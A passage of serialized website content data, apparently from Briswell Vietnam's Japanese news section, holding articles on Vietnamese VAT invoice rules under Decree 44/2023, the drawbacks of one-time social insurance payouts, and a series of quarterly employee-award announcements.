引き下げる",[487,16142,16144],{"id":16143},"政令442023nđ-cpによる８税率の付加価値税の領収書の発行し方",[20,16145,16146],{},"政令44\u002F2023\u002FNĐ-CPによる８％税率の付加価値税の領収書の発行し方",[11,16148,16149,16152],{},[57,16150,16030],{"href":16014,"rel":16151},[61],"に従い、8％税率の付加価値税の領収書は以下のように発行できます。 ",[11,16154,16155],{},"控除方法で付加価値税を計算する事業者：",[11,16157,16158],{},"付加価値税減税対象の商品およびサービスを供給する際の領収書の発行し方：",[31,16160,16161,16164],{},[34,16162,16163],{},"“VAT rate”‐”付加価値税率”行にて: \"8%\"と記載する。",[34,16165,16166],{},"付加価値税込み金額; 消費者が支払すべき8％の税率により計算された総金額。",[11,16168,16169,16170,16173],{},"注: 事業者が違う付加価値税率を適用している商品およびサービスを提供する時、控除方法で付加価値税を計算する場合、領収書には各商品およびサービスの付加価値税率を明らかに記載する必要があると",[57,16171,16030],{"href":16014,"rel":16172},[61],"の第1条第3項に規定されています。",[11,16175,16176],{},"付加価値税を収入の割合に基づいて計算する事業者（事業者世帯、個人事業主を含む）：",[11,16178,16158],{},[31,16180,16181,16184],{},[34,16182,16183],{},"\"金額\"‐“Thành tiền”カラム:　減税前の商品およびサービスの金額を十分に記載する。 ",[34,16185,16186],{},"\"総金額\"‐\"Cộng tiền hàng hóa, dịch vụ\"行: 収入に基づいて現在適用している付加価値税計算用の税率を20％引き下げ済みの金額を記載する。",[11,16188,16189,16190,602,16193,16199,16200,16203],{},"そして、領収書に次のように記載する: \"",[2645,16191,16192],{},"đã giảm… (số tiền) tương ứng 20% mức tỷ lệ % để tính thuế giá trị gia tăng theo",[57,16194,16196],{"href":15950,"rel":16195},[61],[2645,16197,16198],{},"Nghị quyết 101\u002F2023\u002FQH15","\".　－\"議決第",[57,16201,15952],{"href":15950,"rel":16202},[61],"号に従い、収入に基づいて現在適用している付加価値税計算用の税率を20％相当に。。。。（金額）軽減済み\"。",[11,16205,16206],{},"参考:",[31,16208,16209,16216,16223,16230,16237,16244],{},[34,16210,16211,16212],{},"公電第05\u002FCĐ-TCT: ",[57,16213,16215],{"href":15956,"rel":16214},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023",[34,16217,16218,16219],{},"政令44\u002F2023\u002FNĐ-CP: ",[57,16220,16222],{"href":16014,"rel":16221},[61],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023",[34,16224,16225,16226],{},"議決第101\u002F2023\u002FQH15: ",[57,16227,16229],{"href":15950,"rel":16228},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15",[34,16231,16232,16233],{},"通達 219\u002F2013\u002FTT-BTC: ",[57,16234,16236],{"href":16069,"rel":16235},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC",[34,16238,16239,16240],{},"通達 26\u002F2015\u002FTT-BTC: ",[57,16241,16243],{"href":16075,"rel":16242},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC",[34,16245,16246,16247],{},"通達 43\u002F2021\u002FTT-BTC: ",[57,16248,16250],{"href":16080,"rel":16249},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC",{"title":64,"searchDepth":65,"depth":65,"links":16252},[],"2023-09-26","2023年6月30日にて、ベトナム国税庁が国会常務委員会の議決第101\u002F2023\u002FQH15号に従い、付加価値税減税政策を規則する政",{},"\u002Fja\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet",{"title":15942,"description":16254},"ja\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F24153928\u002FPIC-news-Final.png","5MRgIrcFrMbPs6uTrRUJvm4v6zQdXH7fctjkAST3DwM",{"id":16262,"title":16263,"body":16264,"category":67,"created by":68,"date":16341,"description":16268,"extension":71,"meta":16342,"navigation":73,"path":16343,"sections":75,"seo":16344,"stem":16345,"thumbnail":16346,"__hash__":16347},"content_ja\u002Fja\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi.md","社会保険一時金享受の不利益な点",{"type":8,"value":16265,"toc":16339},[16266,16269,16274,16277,16285,16290,16293,16301,16306,16309,16314,16317,16320,16325,16328,16331,16336],[11,16267,16268],{},"新型コロナウイルスの感染拡大に伴う労働市場への影響で失業している労働者数は増加傾向が続いています。失業している労働者は当面の生活費をまかなうために、社会保険一時金享受を選択しがちになります。しかしながら、ベトナム社会保険の勧告により、労働者は社会保険一時金の享受に伴い、以下の五つの重要な権利が喪失します。",[11,16270,16271],{},[20,16272,16273],{},"1. 社会保険料納付期間への積算",[11,16275,16276],{},"社会保険一時金を享受する労働者はその後の社会保険料納付期間が積算せずにリセットされます。これにより年金に影響を以下のように与えます。",[31,16278,16279,16282],{},[34,16280,16281],{},"年金なしの場合においては労働能力の喪失に伴ってお年寄りの暮らしを支える収入がなくなります。",[34,16283,16284],{},"年金ありの場合においてもその後の社会保険料納付期間が短いので年金が少なくなり、お年寄りの暮らしを支える収入を確保できません。",[11,16286,16287],{},[20,16288,16289],{},"2. 健康保険証および葬祭給付制度の権利",[11,16291,16292],{},"社会保険一時金を享受する労働者は、定年退職後の健康保険証の給付時の権利、万が一死亡した場合における葬祭給付の権利に、以下のような制限があります。",[31,16294,16295,16298],{},[34,16296,16297],{},"年金を享受する労働者は健康保険基金により健康保険証を無償交付される他に健康保険診療制度における権利も享受できます。それに対して、社会保険一時金を享受する労働者はそれらの権利を享受できません。",[34,16299,16300],{},"年金を享受する労働者は万が一死亡した場合において、遺族が死亡時点の基礎給の10ケ月分である葬祭給付金を享受すると共に、毎月遺族給付金を享受することができます。",[11,16302,16303],{},[20,16304,16305],{},"3. 社会保険料納付済額の保留・積立の権利および遺族の権利",[11,16307,16308],{},"社会保険料納付済額は蓄積金として知られ、時間が経てもなくなるということはありません。労働者はその金額を保留することができ、引続き加入する時に積算されます。保留期間においては労働者が万が一死亡したとしても、遺族が葬祭給付金や遺族給付金を享受することができます。",[11,16310,16311],{},[20,16312,16313],{},"4. 社会保険制度の給付金",[11,16315,16316],{},"社会保険一時金を享受する労働者は社会保険制度の給付金に不利益があります。 具体的に言えば、社会保険料の納付時、社会保険料の算定基礎となる賃金の22%を遺族年金基金へ納付します。すなわち、1年につき、遺族年金基金への納付金額は 社会保険料の算定基礎となる賃金のの2.64ヶ月分になります。",[11,16318,16319],{},"それに対して、社会保険一時金の総額は1年につき、納付年が2014年より前の場合に社会保険料の算定基礎となる賃金の平均額の1.5ケ月分、納付年が2014年以降の場合に社会保険料の算定基礎となる賃金の平均額の2ケ月分とする形で計算されます。",[11,16321,16322],{},[20,16323,16324],{},"5. 年金受給時の安定生活の確保",[11,16326,16327],{},"社会保険一時金を享受する労働者は、将来年をとったときのために給付された全額を使い切りやすく、それがなくなった場合に社会や子孫の経済状況に依存してしまいます。",[11,16329,16330],{},"それに対して、年金を享受する労働者は定期的に消費動向指数や経済状況に合わせて調整した年金を給付されます。この安定した給付金を持ってお年寄りの安定した暮らしを支えます。",[11,16332,16333],{},[20,16334,16335],{},"労働者は退職になった時にどの制度どおりに給付金を選択すれば良いか",[11,16337,16338],{},"コロナ禍で失った所得問題の解決策としては、ベトナム社会保険からは、労働者が万が一失業になった場合においても社会保険一時金の享受の代わりに、失業手当や職業訓練受講手当の享受手続を行うまたは政府の社会安生基金の援助制度の申請手続を行えば良いとの勧告を提示しました。",{"title":64,"searchDepth":65,"depth":65,"links":16340},[],"2021-07-09",{},"\u002Fja\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi",{"title":16263,"description":16268},"ja\u002Fnews\u002Fnhan-bao-hiem-xa-hoi-mot-lan-nguoi-lao-dong-se-mat-nhung-quyen-loi-gi","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F06\u002F02085032\u002FNhanBHXHMotLanChiuNhieuThietThoi.png","TDgXTJPqXQeCm5FvXWBU3H1RqQfFZkUYdHSKFtpKQ60",{"id":16349,"title":16350,"body":16351,"category":67,"created by":68,"date":16455,"description":16456,"extension":71,"meta":16457,"navigation":73,"path":16458,"sections":75,"seo":16459,"stem":16460,"thumbnail":16461,"__hash__":16462},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021.md","2021年第1四半期の優秀社員賞",{"type":8,"value":16352,"toc":16453},[16353,16355,16358,16361,16364,16367,16370,16374,16378,16382,16385,16388,16391,16394,16399,16404,16408,16411,16414,16417,16420,16423,16428,16432,16435,16438,16441,16444,16447,16450],[11,16354,16350],{},[11,16356,16357],{},"みなさん、こんにちは！ 「四半期の優秀なスタッフ」シリーズへようこそ！",[11,16359,16360],{},"今回は、2021年第1四半期に優秀な成績を収めた個人をご紹介させていただきます。",[11,16362,16363],{},"どなただと思いますか？",[11,16365,16366],{},"脚光を浴びる方はどなたでしょうか。",[11,16368,16369],{},"それは次をご覧ください。",[11,16371,16372],{},[20,16373,9133],{},[11,16375,16376],{},[20,16377,9158],{},[530,16379],{"className":16380,"alt":64,"src":16381,"style":1943},[533,534],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112336\u002FKh%C3%A1nh-scaled.jpg",[11,16383,16384],{},"彼を覚えていますか？",[11,16386,16387],{},"再び、Dev2チームのこの男は、2021年第1四半期の優秀社員に選ばれました。",[11,16389,16390],{},"彼は今回一等賞を受賞したことで、前回よりもさらに優秀になりました。",[11,16392,16393],{},"このように仕事に責任感があり、熱心に取り組んでいるので、彼は遠からぬ未来もっと活躍してくれるでしょう!",[11,16395,16396],{},[20,16397,16398],{},"二等賞が二人います。",[11,16400,16401],{},[20,16402,16403],{},"DEV3チームのタオ・ヴィエト・ハーさん",[530,16405],{"className":16406,"alt":64,"src":16407,"style":1943},[533,534],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112342\u002FH%C3%A0-scaled.jpg",[11,16409,16410],{},"きっと誰もが彼が知っていますね。",[11,16412,16413],{},"ハーさんは2020年第3四半期の優秀社員に選ばれました。",[11,16415,16416],{},"もうブリスウェルの新人ではなく、ハーさんは豊富な経験があります。",[11,16418,16419],{},"仕事に慣れましたが、毎日一生懸命働き、自分磨き、さらに成長しようとしています。",[11,16421,16422],{},"今後とも、自分の長所を発揮していけますように！",[11,16424,16425],{},[20,16426,16427],{},"そして、Dev3チームのグエン・チュン・ギアさん",[530,16429],{"className":16430,"alt":64,"src":16431,"style":1943},[533,534],"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112327\u002FNgh%C4%A9a-scaled.jpg",[11,16433,16434],{},"彼もDev3チームからです。",[11,16436,16437],{},"ギアさんは、若いですが有能な人材です。",[11,16439,16440],{},"まだ若いギアさんは自分の立場をはっきり主張し、リーダたちに注目され、高く評価されました。",[11,16442,16443],{},"何日努力の末、ようやく新しいポジションに達成ました。",[11,16445,16446],{},"遠からぬ未来、もっと高くポジションが届くように！",[11,16448,16449],{},"カインさん、ハーさん、ギアさん！今回の優秀社員、おめでとうございます！",[11,16451,16452],{},"2021年が始まったばかりです、ブリスウェルの全員、一緒にもっと頑張っていきましょう！",{"title":64,"searchDepth":65,"depth":65,"links":16454},[],"2021-05-21","2021年第1四半期の優秀社員賞 みなさん、こんにちは！ 「四半期の優秀なスタッフ」シリーズへようこそ！今回は、2021年第1四半期に優秀な成績を収めた個人をご紹介させていただきます。どなただと思いますか？脚光を浴びる方はどなたでしょうか。それは次をご覧ください。",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021",{"title":16350,"description":16456},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F05\u002F06112347\u002FCover-2.png","-WTsoqnFHywRnpoPffQ49_2Ab7HZOrlIDX1yctO9fU4",{"id":16464,"title":16465,"body":16466,"category":67,"created by":9110,"date":16499,"description":16500,"extension":71,"meta":16501,"navigation":73,"path":16502,"sections":75,"seo":16503,"stem":16504,"thumbnail":16505,"__hash__":16506},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024.md","2024年第1四半期の優秀社員賞",{"type":8,"value":16467,"toc":16497},[16468,16471,16474,16478,16483,16488,16491,16494],[11,16469,16470],{},"ブリズウェルベトナムの「優秀なスタッフ」シリーズへようこそ！",[11,16472,16473],{},"2024年第1四半期で優れたパフォーマンスを発揮した2人の素晴らしいスタッフに感謝しています。 この2人は今期も積極的に貢献し、会社の発展を後押ししています。",[530,16475],{"className":16476,"alt":64,"src":16477,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155818\u002FIMG_2034-1024x765.jpg",[11,16479,16480,16482],{},[20,16481,9133],{}," ダン・ミン・ダット（右）",[11,16484,16485,16487],{},[20,16486,9153],{}," レ・ゴック・カイン（中央）",[11,16489,16490],{},"ダットさんとカインさん、おめでとうございます！ お二人が今後も優れた能力を育て、将来さらに多くの成功を収めることを願っています。",[11,16492,16493],{},"また、過去四半期におけるすべてのスタッフの努力と貢献に心から感謝します。",[11,16495,16496],{},"次の四半期も頑張りましょう！",{"title":64,"searchDepth":65,"depth":65,"links":16498},[],"2025-02-28","ブリズウェルベトナムの「優秀なスタッフ」シリーズへようこそ！ 2024年第1四半期で優れたパフォーマンスを発揮した2人の素晴らしいスタッフに感謝しています。 この2人は今期も積極的に貢献し、会社の発展を後押ししています。",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024",{"title":16465,"description":16500},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F30155813\u002F202405_ExcellentStaff.png","fxPESv1uFLIqtz6_57mYFj4yhg8Gu6zOeQ9weLvcNjM",{"id":16508,"title":16509,"body":16510,"category":67,"created by":9110,"date":16549,"description":16550,"extension":71,"meta":16551,"navigation":73,"path":16552,"sections":75,"seo":16553,"stem":16554,"thumbnail":16555,"__hash__":16556},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025.md","2025年第1四半期の優秀社員賞",{"type":8,"value":16511,"toc":16547},[16512,16515,16518,16522,16527,16530,16535,16538,16541,16544],[11,16513,16514],{},"2025年にも、Briswell Vietnamは引き続き、四半期ごとに優秀な社員を表彰する伝統を大切にしています。",[11,16516,16517],{},"第1四半期には、安定したパフォーマンスを維持しながら、さらに輝きを放った2名の優秀な社員を表彰しました。",[530,16519],{"className":16520,"alt":64,"src":16521,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F21145248\u002FIMG_4435-768x886.jpg",[11,16523,16524],{},[20,16525,16526],{},"🏅一等賞",[11,16528,16529],{},"Nodejs開発者ファン・タン・ホアンさん（右側）",[11,16531,16532],{},[20,16533,16534],{},"🥈二等賞",[11,16536,16537],{},"Nodejs開発者グエン・ティ・ゴック・ハイさん（左側）",[11,16539,16540],{},"今回のお二人の表彰は初めてではありません。これまでの四半期でも、お二人は優れた成績を収め、継続的に高いパフォーマンスを発揮してきます。継続的な努力と強い意志により、ホアンさんとハイさんはBriswell Vietnamのトップの活躍を維持されています。",[11,16542,16543],{},"ホアンさん、ハイさん、前四半期での素晴らしい貢献、本当におめでとうございます！",[11,16545,16546],{},"私たち全員がこれからも共に努力を重ね、第2四半期、そしてその先のさらなる目標に向かって進んでいけることを願っています！",{"title":64,"searchDepth":65,"depth":65,"links":16548},[],"2025-05-30","2025年にも、Briswell Vietnamは引き続き、四半期ごとに優秀な社員を表彰する伝統を大切にしています。 第1四半期には、安定したパフォーマンスを維持しながら、さらに輝きを放った2名の優秀な社員を表彰しました。",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025",{"title":16509,"description":16550},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-1-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22093850\u002FTitle-Q1.2025.png","-RxxrqhFXPdbhx28b8v4DhxjQ1mLeZTQasKr_frkHmA",{"id":16558,"title":16559,"body":16560,"category":67,"created by":5928,"date":16600,"description":16601,"extension":71,"meta":16602,"navigation":73,"path":16603,"sections":75,"seo":16604,"stem":16605,"thumbnail":16606,"__hash__":16607},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024.md","2024年第2四半期の優秀社員賞",{"type":8,"value":16561,"toc":16598},[16562,16565,16568,16574,16579,16582,16586,16589,16592,16595],[11,16563,16564],{},"ブリスウェルベトナムの「優秀なスタッフ」シリーズへようこそ！",[11,16566,16567],{},"2024年第2四半期に優秀な成績を達成した2名の社員を表彰します。",[11,16569,16570,197],{},[530,16571],{"className":16572,"alt":64,"src":16573,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20105947\u002FQ2-1024x768.jpg",[11,16575,16576],{},[20,16577,16578],{},"🏅****一等賞",[11,16580,16581],{},"ITコミュニケーター　フイン・ブイ・タイン・ニャンさん（右側）",[11,16583,16584],{},[20,16585,16534],{},[11,16587,16588],{},"Nodejs開発者ファン・タイン・ホアン（左側）",[11,16590,16591],{},"お二人は、会社の発展に貢献を果たしたため、優秀社員賞を受賞しました。",[11,16593,16594],{},"ニャンさん、ホアンさん、おめでとうございます！",[11,16596,16597],{},"次の四半期も高い目標に向けて努力しましょう！",{"title":64,"searchDepth":65,"depth":65,"links":16599},[],"2025-04-08","ブリスウェルベトナムの「優秀なスタッフ」シリーズへようこそ！ 2024年第2四半期に優秀な成績を達成した2名の社員を表彰します。ITコミュニケーター　フイン・ブイ・タイン・ニャンさん（右側）お二人は、会社の発展に貢献を果たしたため、優秀社員賞を受賞しました。ニャンさん、ホアンさん、おめでとうございます！ 次の四半期も高い目標に向けて努力しましょう！",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024",{"title":16559,"description":16601},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110501\u002FTitle-Q2.png","1XPWA0OcMmyoUXcCX3rzt5x2Nj2kpfBuMzBZRgxNUGA",{"id":16609,"title":16610,"body":16611,"category":67,"created by":9110,"date":16645,"description":16615,"extension":71,"meta":16646,"navigation":73,"path":16647,"sections":75,"seo":16648,"stem":16649,"thumbnail":16650,"__hash__":16651},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025.md","2025年第2四半期の優秀社員賞",{"type":8,"value":16612,"toc":16643},[16613,16616,16620,16623,16627,16631,16634,16638,16641],[11,16614,16615],{},"2025年第2四半期の終わりに 、ブリスウェルベトナムはスタッフ全員の努力と会社への貢献度を評価し、担当案件で大いに貢献した社員2名を表彰しました。",[11,16617,16618],{},[20,16619,16526],{},[11,16621,16622],{},"ソフト技術者レ・ゴック・カイン（右側）",[530,16624],{"className":16625,"alt":64,"src":16626,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132245\u002FQ2-2025-1-1024x1536.jpg",[11,16628,16629],{},[20,16630,16534],{},[11,16632,16633],{},"Nodejs開発者グエン・ゴック・チン（右側）",[530,16635],{"className":16636,"alt":64,"src":16637,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132255\u002FQ2-2025-2-1024x1536.jpg",[11,16639,16640],{},"今期は、優秀社員賞を受賞した経験のあるカインさんが一等賞を受賞しました。二等賞を受賞したのはチンさんです。チンさんにとって初めての受賞ということで、キャリアにおける最初の一歩の思い出となりました。",[11,16642,16496],{},{"title":64,"searchDepth":65,"depth":65,"links":16644},[],"2025-12-05",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025",{"title":16610,"description":16615},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-2-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132326\u002FTitle-Q2.2025.png","dlbXvOdI8oUuHDr-_DrVlNku9Fol6s9LomBG9WEvQXQ",{"id":16653,"title":16654,"body":16655,"category":67,"created by":5928,"date":16686,"description":16687,"extension":71,"meta":16688,"navigation":73,"path":16689,"sections":75,"seo":16690,"stem":16691,"thumbnail":16692,"__hash__":16693},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024.md","2024年第3四半期の優秀社員賞",{"type":8,"value":16656,"toc":16684},[16657,16659,16662,16666,16669,16673,16675,16679,16682],[11,16658,16564],{},[11,16660,16661],{},"2024年第3四半期に優秀な成績を達成した2名の社員を表彰します。",[11,16663,16664],{},[20,16665,16526],{},[11,16667,16668],{},"Nodejs開発者レ・バン・ドンさん（右側）",[11,16670,16671],{},[20,16672,16534],{},[11,16674,16537],{},[530,16676],{"className":16677,"alt":64,"src":16678,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110007\u002FQ3-768x807.png",[11,16680,16681],{},"2024年第3四半期に輝かしいスターとして優秀な社員になったドンさん、ハイさん、おめでとうございます！",[11,16683,16496],{},{"title":64,"searchDepth":65,"depth":65,"links":16685},[],"2025-04-14","ブリスウェルベトナムの「優秀なスタッフ」シリーズへようこそ！ 2024年第3四半期に優秀な成績を達成した2名の社員を表彰します。2024年第3四半期に輝かしいスターとして優秀な社員になったドンさん、ハイさん、おめでとうございます！ 次の四半期も頑張りましょう！",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024",{"title":16654,"description":16687},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110507\u002FTitle-Q3.png","m2fqqjktS9lWdCywGaYJMqFnXgc23Oz9ING-vSU2FWE",{"id":16695,"title":16696,"body":16697,"category":67,"created by":9110,"date":16730,"description":16731,"extension":71,"meta":16732,"navigation":73,"path":16733,"sections":75,"seo":16734,"stem":16735,"thumbnail":16736,"__hash__":16737},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025.md","2025年第3四半期の優秀社員賞",{"type":8,"value":16698,"toc":16728},[16699,16702,16706,16709,16713,16717,16719,16723,16726],[11,16700,16701],{},"2025年第3四半期の終わりに、ブリスウェルベトナムは事業に優れた貢献をした以下の社員2名を表彰しました。",[11,16703,16704],{},[20,16705,16526],{},[11,16707,16708],{},"Nodejs開発者グエン・ニャット・タム（左側）",[530,16710],{"className":16711,"alt":64,"src":16712,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132318\u002FQ3_2025-2-1468x1536.jpg",[11,16714,16715],{},[20,16716,16534],{},[11,16718,16633],{},[530,16720],{"className":16721,"alt":64,"src":16722,"style":1174},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132306\u002FQ3_2025-1-768x804.jpg",[11,16724,16725],{},"今期、初めて優秀社員賞を受賞したタムさんは一等賞を受賞しました。チンさんは前期に続いて二等賞を受賞しました。",[11,16727,16496],{},{"title":64,"searchDepth":65,"depth":65,"links":16729},[],"2025-12-11","2025年第3四半期の終わりに、ブリスウェルベトナムは事業に優れた貢献をした以下の社員2名を表彰しました。 🏅一等賞 Nodejs開発者グエン・ニャット・タム（左側）",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025",{"title":16696,"description":16731},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-3-nam-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F11\u002F28132329\u002FTitle-Q3.2025.png","EH8hRBs-zYZt7yRP0mzT6pDmfO5MANYH2PF0K7mWMdA",{"id":16739,"title":16740,"body":16741,"category":67,"created by":5928,"date":16777,"description":16778,"extension":71,"meta":16779,"navigation":73,"path":16780,"sections":75,"seo":16781,"stem":16782,"thumbnail":16783,"__hash__":16784},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024.md","2024年第4四半期の優秀社員賞",{"type":8,"value":16742,"toc":16775},[16743,16745,16748,16751,16755,16759,16762,16766,16769,16772],[11,16744,16564],{},[11,16746,16747],{},"2024年第4四半期優秀社員は、受賞者としてお馴染みの顔であり、優れた能力と功績のある社員の2名です。",[11,16749,16750],{},"2人の継続的な努力の賜物で、この四半期の優秀社員賞を受賞に繋がりました。",[530,16752],{"className":16753,"alt":64,"src":16754,"style":1943},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20110028\u002FQ4-768x576.png",[11,16756,16757],{},[20,16758,16526],{},[11,16760,16761],{},"Nodejs開発者ファン・タイン・ホアンさん（左側）",[11,16763,16764],{},[20,16765,16534],{},[11,16767,16768],{},"Nodejs開発者グエン・ティ・ゴック・ハイさん（右側）",[11,16770,16771],{},"素晴らしい成績を収めたホアンさん、ハイさん、おめでとうございます！",[11,16773,16774],{},"次の四半期ももっと頑張りましょう！",{"title":64,"searchDepth":65,"depth":65,"links":16776},[],"2025-04-23","ブリスウェルベトナムの「優秀なスタッフ」シリーズへようこそ！ 2024年第4四半期優秀社員は、受賞者としてお馴染みの顔であり、優れた能力と功績のある社員の2名です。2人の継続的な努力の賜物で、この四半期の優秀社員賞を受賞に繋がりました。素晴らしい成績を収めたホアンさん、ハイさん、おめでとうございます！ 次の四半期ももっと頑張りましょう！",{},"\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024",{"title":16740,"description":16778},"ja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F03\u002F20132336\u002FTitle-Q4.png","dvW69qXJ34v0V_Keu-hfxaTfgg1QrEdYQ1FRHuJCPUk",{"id":16786,"title":16787,"body":16788,"category":67,"created by":9110,"date":16821,"description":16822,"extension":71,"meta":16823,"navigation":73,"path":16824,"sections":75,"seo":16825,"stem":16826,"thumbnail":16827,"__hash__":16828},"content_ja\u002Fja\u002Fnews\u002Fnhan-vien-xuat-sac-quy-4-nam-2025.md","2025年第4四半期の優秀社員賞",{"type":8,"value":16789,"toc":16819},[16790,16793,16796,16800,16804,16806,16810,16813,16816],[11,16791,16792],{},"2025年が終わりました。2025年第4四半期の優秀社員を公表しました。",[11,16794,16795],{},"今期、2名の優秀な社員を表彰しました。",[530,16797],{"className":16798,"alt":64,"src":16799,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2026\u002F01\u002F29111417\u002FIMG_8721-1-scaled.jpg",[11,16801,16802],{},[20,16803,16526],{},[11,16805,16529],{},[11,16807,16808],{},[20,16809,16534],{},[11,16811,16812],{},"ITコミュニケーター　ドー・スアン・ユウ（左側）",[11,16814,16815],{},"優秀社員賞を受賞した経験のあるホアンさんはもう一度自分の能力を見せて、一等賞を受賞しました。活躍して良い成績を取った新入社員・ユウさんは二等賞を受賞しました。",[11,16817,16818],{},"2026 年に入り、このような精神がブリスウェルベトナム全員へ広がり、互いに切磋琢磨することで素晴らしい成果を上げることを願っています。",{"title":64,"searchDepth":65,"depth":65,"links":16820},[],"2026-01-30","2025年が終わりました。2025年第4四半期の優秀社員を公表しました。 今期、2名の優秀な社員を表彰しました。 